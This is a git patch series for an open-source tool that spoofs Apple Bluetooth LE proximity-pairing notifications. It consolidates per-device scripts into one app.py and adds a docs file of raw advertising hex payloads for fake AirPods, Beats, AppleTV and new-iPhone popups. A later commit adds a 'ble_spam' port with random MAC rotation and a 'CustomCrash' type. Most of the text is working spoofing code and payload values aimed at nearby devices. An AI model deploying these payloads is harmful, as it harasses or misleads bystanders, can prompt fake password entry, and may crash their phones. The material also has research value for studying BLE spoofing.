+**python3 app.py --device-name "TV Color Balance"** -**airpods_max.py** +Message: TV Color Balance +

-

- +**python3 app.py --device-name "Airpods"** -**airpods_pro.py** +

+**python3 app.py --device-name "Airpods Pro"**

+**python3 app.py --device-name "Airpods Max"** -**airpods.py** - - -

+

+**python3 app.py --device-name "PowerBeats"** -**beatsx.py** +

+**python3 app.py --device-name "BeatsX"**

- -**beatssolopro.py** - +**python3 app.py --device-name "Beats Solo Pro"**

- - -**powerbeats.py** - - -

- - - - - diff --git a/Pair New Device Notifications/setupnewphone.py b/Pair New Device Notifications/setupnewphone.py deleted file mode 100644 index 65aa24d..0000000 --- a/Pair New Device Notifications/setupnewphone.py +++ /dev/null @@ -1,65 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: Setup New Phone - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - - - -dev_id = 0 # the default bluetooth device is hci0 -toggle_device(dev_id, True) - -bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x09, 0x60, 0x4c, 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00) - - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to Stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/transfernumber.py b/Pair New Device Notifications/transfernumber.py deleted file mode 100644 index 55d3a71..0000000 --- a/Pair New Device Notifications/transfernumber.py +++ /dev/null @@ -1,65 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: Transfer Number - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - - - -dev_id = 0 # the default bluetooth device is hci0 -toggle_device(dev_id, True) - -bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x02, 0x60, 0x4c, 0x95, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00) - - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to Stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/tvcolorbalance.py b/Pair New Device Notifications/tvcolorbalance.py deleted file mode 100644 index 660c44c..0000000 --- a/Pair New Device Notifications/tvcolorbalance.py +++ /dev/null @@ -1,65 +0,0 @@ - -# Description: Apple proximity pairing notification spoofing -# Message: TV Color Balance - - -# Author: ECTO-1A & SAY-10 -# Github: https://github.com/ECTO-1A - -# Based on the previous work of chipik / _hexway - -import random -import hashlib -import argparse -from time import sleep -import bluetooth._bluetooth as bluez -from utils.bluetooth_utils import (toggle_device, start_le_advertising, stop_le_advertising) - -help_desc = ''' -Apple Proximity Pairing Notification Spoofing - ----ECTO-1A August 2023--- - -Based on the previous work of chipik / _hexway -''' - -parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) -parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval') -parser.add_argument('-r', '--random', action='store_true', help='Send random charge values') -args = parser.parse_args() - - - -dev_id = 0 # the default bluetooth device is hci0 -toggle_device(dev_id, True) - -bt_data = (0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00) - - -try: - sock = bluez.hci_open_dev(dev_id) -except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - raise - -print("Advertising Started...\ - Press Ctrl+C to Stop") -if args.random: - while True: - try: - sock = bluez.hci_open_dev(dev_id) - except: - print("Unable to connect to Bluetooth hardware %i" % dev_id) - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - sleep(2) - stop_le_advertising(sock) -else: - try: - start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, - data=(bt_data)) - while True: - sleep(2) - except: - stop_le_advertising(sock) - raise diff --git a/Pair New Device Notifications/uart_listener.py b/Pair New Device Notifications/uart_listener.py index 7eb33fa..7b7354a 100644 --- a/Pair New Device Notifications/uart_listener.py +++ b/Pair New Device Notifications/uart_listener.py @@ -1,6 +1,13 @@ import serial import subprocess +try: + from app import bt_data_options + script_location = 'app.py' +except ImportError: + from ..app import bt_data_options + script_location = '../app.py' + # Define the UART port and baud rate uart_port = '/dev/ttyS0' # Use '/dev/ttyAMA0' on older Raspberry Pi models baud_rate = 115200 @@ -11,40 +18,15 @@ while True: # Read data from UART data = ser.readline().decode('utf-8').strip() - + # Check if the received data is "apple" - if data == "max": + if data.lower() in [_.lower() for _ in bt_data_options.values()]: print("Received 'apple'. Running airpodsmax.py...") - - # Run the airpodsmax.py program using subprocess - try: - subprocess.run(['python', 'airpodsmax.py'], check=True) - except subprocess.CalledProcessError as e: - print(f"Error running airpodsmax.py: {e}") - # Check if the received data is "beatsx" - elif data == "beatsx": - print("Received 'beatsx'. Running beatsx.py...") + # Run the app.py program using subprocess try: - subprocess.run(['python', 'beatsx.py'], check=True) + subprocess.run(['python', script_location, '--device-name', data], check=True) except subprocess.CalledProcessError as e: - print(f"Error running beatsx.py: {e}") - - # Check if the received data is "beatsx" - elif data == "beatssolopro": - print("Received 'beatssolopro'. Running beatssolopro.py...") - try: - subprocess.run(['python', 'beatssolopro.py'], check=True) - except subprocess.CalledProcessError as e: - print(f"Error running beatssolopro.py: {e}") - - # Check if the received data is "beatsx" - elif data == "airpods": - print("Received 'airpods'. Running airpods.py...") - try: - subprocess.run(['python', 'airpods.py'], check=True) - except subprocess.CalledProcessError as e: - print(f"Error running airpods.py: {e}") - + print(f"Error running data: {e}") else: - print(f"Received '{data}'") \ No newline at end of file + print(f"Received '{data}'") diff --git a/Pair New Device Notifications/utils/bluetooth_utils.py b/Pair New Device Notifications/utils/bluetooth_utils.py deleted file mode 100644 index 74db6bc..0000000 --- a/Pair New Device Notifications/utils/bluetooth_utils.py +++ /dev/null @@ -1,395 +0,0 @@ -# -*- coding: utf-8 -*- -""" -Module containing some bluetooth utility functions (linux only). - -It either uses HCI commands using PyBluez, or does ioctl calls like it's -done in Bluez tools such as hciconfig. - -Main functions: - - toggle_device : enable or disable a bluetooth device - - set_scan : set scan type on a device ("noscan", "iscan", "pscan", "piscan") - - enable/disable_le_scan : enable BLE scanning - - parse_le_advertising_events : parse and read BLE advertisements packets - - start/stop_le_advertising : advertise custom data using BLE - -Bluez : http://www.bluez.org/ -PyBluez : http://karulis.github.io/pybluez/ - -The module was in particular inspired from 'iBeacon-Scanner-' -https://github.com/switchdoclabs/iBeacon-Scanner-/blob/master/blescan.py -and sometimes directly from the Bluez sources. -""" - -from __future__ import absolute_import -import sys -import struct -import fcntl -import array -import socket -from errno import EALREADY - -# import PyBluez -import bluetooth._bluetooth as bluez - -__all__ = ('toggle_device', 'set_scan', - 'enable_le_scan', 'disable_le_scan', 'parse_le_advertising_events', - 'start_le_advertising', 'stop_le_advertising', - 'raw_packet_to_str') - -LE_META_EVENT = 0x3E -LE_PUBLIC_ADDRESS = 0x00 -LE_RANDOM_ADDRESS = 0x01 - -OGF_LE_CTL = 0x08 -OCF_LE_SET_SCAN_PARAMETERS = 0x000B -OCF_LE_SET_SCAN_ENABLE = 0x000C -OCF_LE_CREATE_CONN = 0x000D -OCF_LE_SET_ADVERTISING_PARAMETERS = 0x0006 -OCF_LE_SET_ADVERTISE_ENABLE = 0x000A -OCF_LE_SET_ADVERTISING_DATA = 0x0008 - -SCAN_TYPE_PASSIVE = 0x00 -SCAN_FILTER_DUPLICATES = 0x01 -SCAN_DISABLE = 0x00 -SCAN_ENABLE = 0x01 - -# sub-events of LE_META_EVENT -EVT_LE_CONN_COMPLETE = 0x01 -EVT_LE_ADVERTISING_REPORT = 0x02 -EVT_LE_CONN_UPDATE_COMPLETE = 0x03 -EVT_LE_READ_REMOTE_USED_FEATURES_COMPLETE = 0x04 - -# Advertisement event types -ADV_IND = 0x00 -ADV_DIRECT_IND = 0x01 -ADV_SCAN_IND = 0x02 -ADV_NONCONN_IND = 0x03 -ADV_SCAN_RSP = 0x04 - -# Allow Scan Request from Any, Connect Request from Any -FILTER_POLICY_NO_WHITELIST = 0x00 -# Allow Scan Request from White List Only, Connect Request from Any -FILTER_POLICY_SCAN_WHITELIST = 0x01 -# Allow Scan Request from Any, Connect Request from White List Only -FILTER_POLICY_CONN_WHITELIST = 0x02 -# Allow Scan Request from White List Only, Connect Request from White List Only -FILTER_POLICY_SCAN_AND_CONN_WHITELIST = 0x03 - - -def toggle_device(dev_id, enable): - """ - Power ON or OFF a bluetooth device. - - :param dev_id: Device id. - :type dev_id: ``int`` - :param enable: Whether to enable of disable the device. - :type enable: ``bool`` - """ - hci_sock = socket.socket(socket.AF_BLUETOOTH, - socket.SOCK_RAW, - socket.BTPROTO_HCI) - # print("Power %s bluetooth device %d" % ('ON' if enable else 'OFF', dev_id)) - # di = struct.pack("HbBIBBIIIHHHH10I", dev_id, *((0,) * 22)) - # fcntl.ioctl(hci_sock.fileno(), bluez.HCIGETDEVINFO, di) - req_str = struct.pack("H", dev_id) - request = array.array("b", req_str) - try: - fcntl.ioctl(hci_sock.fileno(), - bluez.HCIDEVUP if enable else bluez.HCIDEVDOWN, - request[0]) - except IOError as e: - if e.errno == EALREADY: - pass - # print("Bluetooth device %d is already %s" % ( - # dev_id, 'enabled' if enable else 'disabled')) - else: - raise - finally: - hci_sock.close() - - -# Types of bluetooth scan -SCAN_DISABLED = 0x00 -SCAN_INQUIRY = 0x01 -SCAN_PAGE = 0x02 - - -def set_scan(dev_id, scan_type): - """ - Set scan type on a given bluetooth device. - - :param dev_id: Device id. - :type dev_id: ``int`` - :param scan_type: One of - ``'noscan'`` - ``'iscan'`` - ``'pscan'`` - ``'piscan'`` - :type scan_type: ``str`` - """ - hci_sock = socket.socket(socket.AF_BLUETOOTH, - socket.SOCK_RAW, - socket.BTPROTO_HCI) - if scan_type == "noscan": - dev_opt = SCAN_DISABLED - elif scan_type == "iscan": - dev_opt = SCAN_INQUIRY - elif scan_type == "pscan": - dev_opt = SCAN_PAGE - elif scan_type == "piscan": - dev_opt = SCAN_PAGE | SCAN_INQUIRY - else: - raise ValueError("Unknown scan type %r" % scan_type) - - req_str = struct.pack("HI", dev_id, dev_opt) - # print("Set scan type %r to bluetooth device %d" % (scan_type, dev_id)) - try: - fcntl.ioctl(hci_sock.fileno(), bluez.HCISETSCAN, req_str) - finally: - hci_sock.close() - - -def raw_packet_to_str(pkt): - """ - Returns the string representation of a raw HCI packet. - """ - if sys.version_info > (3, 0): - return ''.join('%02x' % struct.unpack("B", bytes([x]))[0] for x in pkt) - else: - return ''.join('%02x' % struct.unpack("B", x)[0] for x in pkt) - - -def enable_le_scan(sock, interval=0x0800, window=0x0800, - filter_policy=FILTER_POLICY_NO_WHITELIST, - filter_duplicates=True): - """ - Enable LE passive scan (with filtering of duplicate packets enabled). - - :param sock: A bluetooth HCI socket (retrieved using the - ``hci_open_dev`` PyBluez function). - :param interval: Scan interval. - :param window: Scan window (must be less or equal than given interval). - :param filter_policy: One of - ``FILTER_POLICY_NO_WHITELIST`` (default value) - ``FILTER_POLICY_SCAN_WHITELIST`` - ``FILTER_POLICY_CONN_WHITELIST`` - ``FILTER_POLICY_SCAN_AND_CONN_WHITELIST`` - - .. note:: Scan interval and window are to multiply by 0.625 ms to - get the real time duration. - """ - # print("Enable LE scan") - own_bdaddr_type = LE_PUBLIC_ADDRESS # does not work with LE_RANDOM_ADDRESS - cmd_pkt = struct.pack(" 31: - raise ValueError("data is too long (%d but max is 31 bytes)", - data_length) - cmd_pkt = struct.pack(" Sequence[int] | None: + print(option) + bt_data = hex_data.get(option) + + if not bt_data: + return + if not random_charge: + return bt_data + name = bt_data_options[option] + if "Airpods" not in name and "Beats" not in name: + return bt_data + + left_speaker = (random.randint(1, 100),) + right_speaker = (random.randint(1, 100),) + case = (random.randint(128, 228),) + return bt_data[:15] + left_speaker + right_speaker + case + bt_data[-12:] + + def main(): parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', '--interval', default=200, type=int, help='Advertising interval (default 200))') parser.add_argument('-d', '--data', type=int, help='Select a message to send (e.g., -d 1)') - + parser.add_argument('-b', '--bt-dev-id', default=0, type=int, help='Bluetooth device ID (default 0)') + parser.add_argument('--device-name', type=str, help='Specify a device name (e.g., --device-name "AirPods Pro")') + # Add random argument parser.add_argument('-r', '--random', action='store_true', help='Randomly loop through advertising data') - + parser.add_argument('--random-charge', action='store_true', help='Send random charge values for headphones') + args = parser.parse_args() - if args.data is None and not args.random: - print("Please select a message option using -d or use --random for random selection.") - print("Available message options:") + if (args.data is None) and (args.device_name is None) and not args.random: + print("Please select a message option using -d or --device-name. Use --random for random selection.") + print("Available message options and device names:") for option, description in bt_data_options.items(): print(f"{option}: {description}") return @@ -111,9 +135,16 @@ def main(): for option, description in bt_data_options.items(): print(f"{option}: {description}") return - + + if args.device_name and args.device_name.lower() not in [_.lower() for _ in bt_data_options.values()]: + print(f"Invalid device name: {args.device_name}") + print("Available device names:") + for device_name in bt_data_options.values(): + print(device_name) + return + # the default Bluetooth device is hci0 - dev_id = 0 + dev_id = args.bt_dev_id toggle_device(dev_id, True) try: @@ -128,13 +159,13 @@ def main(): if args.random: while True: selected_option = random.choice(list(bt_data_options.keys())) - bt_data = hex_data.get(selected_option) + bt_data = get_bt_data(selected_option, args.random_charge) start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, data=bt_data) sleep(2) stop_le_advertising(sock) else: - selected_option = args.data - bt_data = hex_data.get(selected_option) + selected_option = args.data or list(bt_data_options.keys())[[_.lower() for _ in bt_data_options.values()].index(args.device_name.lower())] + bt_data = get_bt_data(selected_option, args.random_charge) start_le_advertising(sock, adv_type=0x03, min_interval=args.interval, max_interval=args.interval, data=bt_data) while True: sleep(2) From 7c48bfe2934cacf63ffdf2a5db95c4fd6aa8695b Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Fri, 6 Oct 2023 05:50:12 +0300 Subject: [PATCH 02/10] Update README.md --- README.md | 32 +++++---- .../readme.md => docs/notifications.md | 68 +++++++++++-------- docs/nrf-connect-values.md | 37 ++++++++++ 3 files changed, 94 insertions(+), 43 deletions(-) rename Pair New Device Notifications/readme.md => docs/notifications.md (59%) create mode 100644 docs/nrf-connect-values.md diff --git a/README.md b/README.md index e10d7b1..5ba34ea 100644 --- a/README.md +++ b/README.md @@ -8,9 +8,9 @@ ## Updates -**9/21/23**
+**9/21/2023**

-Thanks to [0DayCTF](https://github.com/0dayctf) the random option has been added!
+Thanks to [0DayCTF](https://github.com/0dayctf) the random option has been added!

*To run with random :*
```python3 app.py --random```
@@ -54,6 +54,9 @@ Thanks to [ronaldstoner](https://github.com/ronaldstoner) for porting this over Check out this in-depth walk though by [Mobile Hacker](https://www.mobile-hacker.com/2023/09/07/spoof-ios-devices-with-bluetooth-pairing-messages-using-android/) about running AppleJuice on a rooted Android phone. +You can find converted values [here](docs/nrf-connect-values.md) + + ## About This Project This was created in response to the various AppleTV spoof messages being sent out during [DEF CON 31](https://techcrunch.com/2023/08/14/researcher-says-they-were-behind-iphone-popups-at-def-con/). After experiencing it first hand, I had to figure out what was happening. The existing research projects I could find (see *credits*) had great info but were both a couple years out of date with broken package dependencies, so I decided to take what I could from them and start building from there. @@ -91,10 +94,10 @@ sudo apt update && sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev l > :warning: **Warning**
> The `pybluez` library is broken on GitHub and needs to be installed manually ```bash -Download the latest version +Download the latest version pip install git+https://github.com/pybluez/pybluez.git#egg=pybluez -pycrypto is not maintained, be sure to install pycryptodome instead +pycrypto is not maintained, be sure to install pycryptodome instead pip install pycryptodome ``` @@ -103,7 +106,7 @@ pip install pycryptodome sudo pip install -r requirements.txt ``` ### Execute scripts without `sudo` -> To be able to run without sudo, you need to set the capabilities of the python binary to allow it to access raw sockets. This is done with the following command +> To be able to run without sudo, you need to set the capabilities of the python binary to allow it to access raw sockets. This is done with the following command ```bash sudo setcap cap_net_raw,cap_net_admin+eip $(eval readlink -f $(which python)) @@ -122,19 +125,19 @@ Devices: hci0 00:00:7C:00:3A:13 ``` > :memo: **Note**
-> If the adapter is showing as `hci1` you will need to edit the `dev_id` variable in the scripts to match +> If the adapter is showing as `hci1` you will need to specify `--bt-dev-id` parameter of the script ### Available options All messages have been combined into a single app. You can now run `app.py` to get a list of available options.
-To run the script use `-d (number of message)` -> **Example**
+To run the script use `-d (number of message)` +> **Example**
> `app.py -d 13` ```python python3 app.py -Please select a message option using -d. -Available message options: +Please select a message option using -d or --device-name. Use --random for random selection. +Available message options and device names: 1: Airpods 2: Airpods Pro 3: Airpods Max @@ -168,18 +171,19 @@ Available message options: ## Examples -`beatssolopro.py` +`python3 app.py --device-name "Beats Solo Pro"` > **Model**: Beats Solo Pro -`airpods_max.py` +`python3 app.py --device-name "Airpods Max"` > **Model**: Airpods Max +[More examples](docs/notifications.md) + ### Credit - [FuriousMAC](https://github.com/furiousMAC/continuity) and [Hexway](https://github.com/hexway/apple_bleee) for all the prior research on Apple BLE, Continuity, and building the Wireshark disector. - [Jae Bochs](https://infosec.exchange/@jb0x168/110879394826675242) for [exposing this to me at DEF CON 31](https://techcrunch.com/2023/08/14/researcher-says-they-were-behind-iphone-popups-at-def-con/) which made me jump into learning about BLE. -- Guillaume Celosia and Mathieu Cunche for reverse engineering [Proximity Pairing](https://petsymposium.org/2020/files/papers/issue1/popets-2020-0003.pdf") - +- Guillaume Celosia and Mathieu Cunche for reverse engineering [Proximity Pairing](https://petsymposium.org/2020/files/papers/issue1/popets-2020-0003.pdf") diff --git a/Pair New Device Notifications/readme.md b/docs/notifications.md similarity index 59% rename from Pair New Device Notifications/readme.md rename to docs/notifications.md index 72fe6ed..1a83679 100644 --- a/Pair New Device Notifications/readme.md +++ b/docs/notifications.md @@ -1,90 +1,100 @@ # APPLE BLE NOTIFICATIONS -Below are screenshots of the notfications generated from these script calls
-
-
+Below are screenshots of the notfications generated from these script calls


-**python3 app.py --device-name "AppleTV AppleID Setup"** +`python3 app.py --device-name "AppleTV AppleID Setup"` -Message: Use Your Apple ID on AppleTV (message from DEF CON 31) +> **Message**: Use Your Apple ID on AppleTV (message from DEF CON 31)

-**python3 app.py --device-name "AppleTV Wireless Audio Sync"** +`python3 app.py --device-name "AppleTV Wireless Audio Sync"` -Message: AppleTV Wireless Audio Sync +> **Message**: AppleTV Wireless Audio Sync

-**python3 app.py --device-name "AppleTV Homekit Setup"** +`python3 app.py --device-name "AppleTV Homekit Setup"` -Message: Set Up Airplay and Homekit on Apple TV +> **Message**: Set Up Airplay and Homekit on Apple TV

-**python3 app.py --device-name "AppleTV Keyboard"** +`python3 app.py --device-name "AppleTV Keyboard"` -Message: AppleTV Keyboard Password Autofill Prompt +> **Message**: AppleTV Keyboard Password Autofill Prompt

-**python3 app.py --device-name "AppleTV 'Connecting to Network'"** +`python3 app.py --device-name "AppleTV 'Connecting to Network'"` -Message: Connecting... Apple Tv requires additional information to connect to this network +> **Message**: Connecting... Apple Tv requires additional information to connect to this network

-**python3 app.py --device-name "AppleTV New User"** +`python3 app.py --device-name "AppleTV New User"` -Message: AppleTV Add New User +> **Message**: AppleTV Add New User

-**python3 app.py --device-name "Homepod Setup"** +`python3 app.py --device-name "Homepod Setup"` -Message: HomePod Setup +> **Message**: HomePod Setup

-**python3 app.py --device-name "Setup New Phone"** +`python3 app.py --device-name "Setup New Phone"` -Message: Setup New Phone +> **Message**: Setup New Phone

-**python3 app.py --device-name "Transfer Number to New Phone"** +`python3 app.py --device-name "Transfer Number to New Phone"` -Message: Transfer Phone Number +> **Message**: Transfer Phone Number

-**python3 app.py --device-name "TV Color Balance"** +`python3 app.py --device-name "TV Color Balance"` -Message: TV Color Balance +> **Message**: TV Color Balance

-**python3 app.py --device-name "Airpods"** +`python3 app.py --device-name "Airpods"` + +> **Model**: Airpods

-**python3 app.py --device-name "Airpods Pro"** +`python3 app.py --device-name "Airpods Pro"` + +> **Model**: Airpods Pro

-**python3 app.py --device-name "Airpods Max"** +`python3 app.py --device-name "Airpods Max"` + +> **Model**: Airpods Max

-**python3 app.py --device-name "PowerBeats"** +`python3 app.py --device-name "PowerBeats"` + +> **Model**: PowerBeats

-**python3 app.py --device-name "BeatsX"** +`python3 app.py --device-name "BeatsX"` + +> **Model**: BeatsX

-**python3 app.py --device-name "Beats Solo Pro"** +`python3 app.py --device-name "Beats Solo Pro"` + +> **Model**: Beats Solo Pro

diff --git a/docs/nrf-connect-values.md b/docs/nrf-connect-values.md new file mode 100644 index 0000000..8108d5f --- /dev/null +++ b/docs/nrf-connect-values.md @@ -0,0 +1,37 @@ +# nRF Connect Values + +You can use values below to run advertising messages on your android device. + +Refer to instructions in [mobile hacker website](https://www.mobile-hacker.com/2023/09/07/spoof-ios-devices-with-bluetooth-pairing-messages-using-android/) + +```py +"Airpods": "071907022075aa3001000045121212000000000000000000000000", +"Airpods Pro": "0719070e2075aa3001000045121212000000000000000000000000", +"Airpods Max": "0719070a2075aa3001000045121212000000000000000000000000", +"Airpods Gen 2": "0719070f2075aa3001000045121212000000000000000000000000", +"Airpods Gen 3": "071907132075aa3001000045121212000000000000000000000000", +"Airpods Pro Gen 2": "071907142075aa3001000045121212000000000000000000000000", +"PowerBeats": "071907032075aa3001000045121212000000000000000000000000", +"PowerBeats Pro": "0719070b2075aa3001000045121212000000000000000000000000", +"Beats Solo Pro": "0719070c2075aa3001000045121212000000000000000000000000", +"Beats Studio Buds": "071907112075aa3001000045121212000000000000000000000000", +"Beats Flex": "071907102075aa3001000045121212000000000000000000000000", +"BeatsX": "071907052075aa3001000045121212000000000000000000000000", +"Beats Solo3": "071907062075aa3001000045121212000000000000000000000000", +"Beats Studio3": "071907092075aa3001000045121212000000000000000000000000", +"Beats Studio Pro": "071907172075aa3001000045121212000000000000000000000000", +"Beats Fit Pro": "071907122075aa3001000045121212000000000000000000000000", +"Beats Studio Buds+": "071907162075aa3001000045121212000000000000000000000000", +"AppleTV Setup": "04042a0000000f05c101604c95000010000000", +"AppleTV Pair": "04042a0000000f05c106604c95000010000000", +"AppleTV New User": "04042a0000000f05c120604c95000010000000", +"AppleTV AppleID Setup": "04042a0000000f05c12b604c95000010000000", +"AppleTV Wireless Audio Sync": "04042a0000000f05c1c0604c95000010000000", +"AppleTV Homekit Setup": "04042a0000000f05c10d604c95000010000000", +"AppleTV Keyboard": "04042a0000000f05c113604c95000010000000", +"AppleTV 'Connecting to Network'": "04042a0000000f05c127604c95000010000000", +"Homepod Setup": "04042a0000000f05c10b604c95000010000000", +"Setup New Phone": "04042a0000000f05c109604c95000010000000", +"Transfer Number to New Phone": "04042a0000000f05c102604c95000010000000", +"TV Color Balance": "04042a0000000f05c11e604c95000010000000", +``` From b6881752e55e429064da572489cee71a5ec586bc Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Fri, 6 Oct 2023 05:51:05 +0300 Subject: [PATCH 03/10] Rename some files & fix #10 issue on some configs --- utils/__init__.py | 0 utils/{adv_wifi_poc => adv_wifi_poc.py} | 0 .../uart_listener.py => utils/rpi_uart_listener.py | 0 3 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 utils/__init__.py rename utils/{adv_wifi_poc => adv_wifi_poc.py} (100%) rename Pair New Device Notifications/uart_listener.py => utils/rpi_uart_listener.py (100%) diff --git a/utils/__init__.py b/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/utils/adv_wifi_poc b/utils/adv_wifi_poc.py similarity index 100% rename from utils/adv_wifi_poc rename to utils/adv_wifi_poc.py diff --git a/Pair New Device Notifications/uart_listener.py b/utils/rpi_uart_listener.py similarity index 100% rename from Pair New Device Notifications/uart_listener.py rename to utils/rpi_uart_listener.py From 3873e9909ac099c319e0172321dd5b7c3475ec6d Mon Sep 17 00:00:00 2001 From: barsikus007 Date: Thu, 26 Oct 2023 09:51:33 +0300 Subject: [PATCH 04/10] Ported ble_spam from Xtreme-Firmware && random-mac and adv parameters --- app.py | 409 ++++++++++++++++++++++++++++++++++----- docs/notifications.md | 22 +-- utils/bluetooth_utils.py | 15 +- 3 files changed, 385 insertions(+), 61 deletions(-) diff --git a/app.py b/app.py index 24c4b09..f8274c6 100644 --- a/app.py +++ b/app.py @@ -2,12 +2,13 @@ # Github: https://github.com/ECTO-1A # Based on the previous work of chipik / _hexway +from enum import Enum, auto import random import argparse import bluetooth._bluetooth as bluez from time import sleep from typing import Sequence -from utils.bluetooth_utils import toggle_device, start_le_advertising, stop_le_advertising +from utils.bluetooth_utils import change_internal_mac_addr, get_internal_mac_addr, toggle_device, start_le_advertising, stop_le_advertising # Add a docstring to describe the purpose of the script help_desc = ''' @@ -22,50 +23,114 @@ # Define different bt_data options and their corresponding descriptions bt_data_options = { - 1: "Airpods", - 2: "Airpods Pro", - 3: "Airpods Max", - 4: "Airpods Gen 2", - 5: "Airpods Gen 3", - 6: "Airpods Pro Gen 2", - 7: "PowerBeats", - 8: "PowerBeats Pro", - 9: "Beats Solo Pro", + 1: "AirPods", + 2: "AirPods Pro", + 3: "AirPods Max", + 4: "AirPods 2nd Gen", + 5: "AirPods 3rd Gen", + 6: "AirPods Pro 2nd Gen", + 7: "PowerBeats 3", + 8: "PowerBeats Pro", + 9: "Beats Solo Pro", 10: "Beats Studio Buds", 11: "Beats Flex", - 12: "BeatsX", - 13: "Beats Solo3", - 14: "Beats Studio3", + 12: "Beats X", + 13: "Beats Solo 3", + 14: "Beats Studio 3", 15: "Beats Studio Pro", 16: "Beats Fit Pro", 17: "Beats Studio Buds+", - 18: "AppleTV Setup", - 19: "AppleTV Pair", - 20: "AppleTV New User", + + 18: "AppleTV Setup", # no picture + 19: "AppleTV Pair", # no picture + 20: "AppleTV Join This AppleTV", 21: "AppleTV AppleID Setup", 22: "AppleTV Wireless Audio Sync", - 23: "AppleTV Homekit Setup", + 23: "AppleTV HomeKit Setup", 24: "AppleTV Keyboard", - 25: "AppleTV 'Connecting to Network'", - 26: "Homepod Setup", - 27: "Setup New Phone", - 28: "Transfer Number to New Phone", - 29: "TV Color Balance" + 25: "AppleTV Connecting...", + 26: "AppleTV Color Balance", + 27: "HomePod Setup", + 28: "Setup New iPhone", + 29: "Transfer Phone Number", # Add more options as needed (don't forget to review get_bt_data function below) } +class ContinuityType(Enum): + AirDrop = 0x05 + ProximityPair = 0x07 + AirplayTarget = 0x09 + Handoff = 0x0C + TetheringSource = 0x0E + NearbyAction = 0x0F + NearbyInfo = 0x10 + + CustomCrash = auto() + COUNT = auto() + +HEADER_LEN = 6 # 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size + +packet_sizes = { + ContinuityType.AirDrop: HEADER_LEN + 18, + ContinuityType.ProximityPair: HEADER_LEN + 25, + ContinuityType.AirplayTarget: HEADER_LEN + 6, + ContinuityType.Handoff: HEADER_LEN + 14, + ContinuityType.TetheringSource: HEADER_LEN + 6, + ContinuityType.NearbyAction: HEADER_LEN + 5, + ContinuityType.NearbyInfo: HEADER_LEN + 5, + ContinuityType.CustomCrash: HEADER_LEN + 11, +} + +pp_models = { + "AirPods": 0x0220, + "AirPods Pro": 0x0E20, + "AirPods Max": 0x0A20, + "AirPods 2nd Gen": 0x0F20, + "AirPods 3rd Gen": 0x1320, + "AirPods Pro 2nd Gen": 0x1420, + "PowerBeats 3": 0x0320, + "PowerBeats Pro": 0x0B20, + "Beats Solo Pro": 0x0C20, + 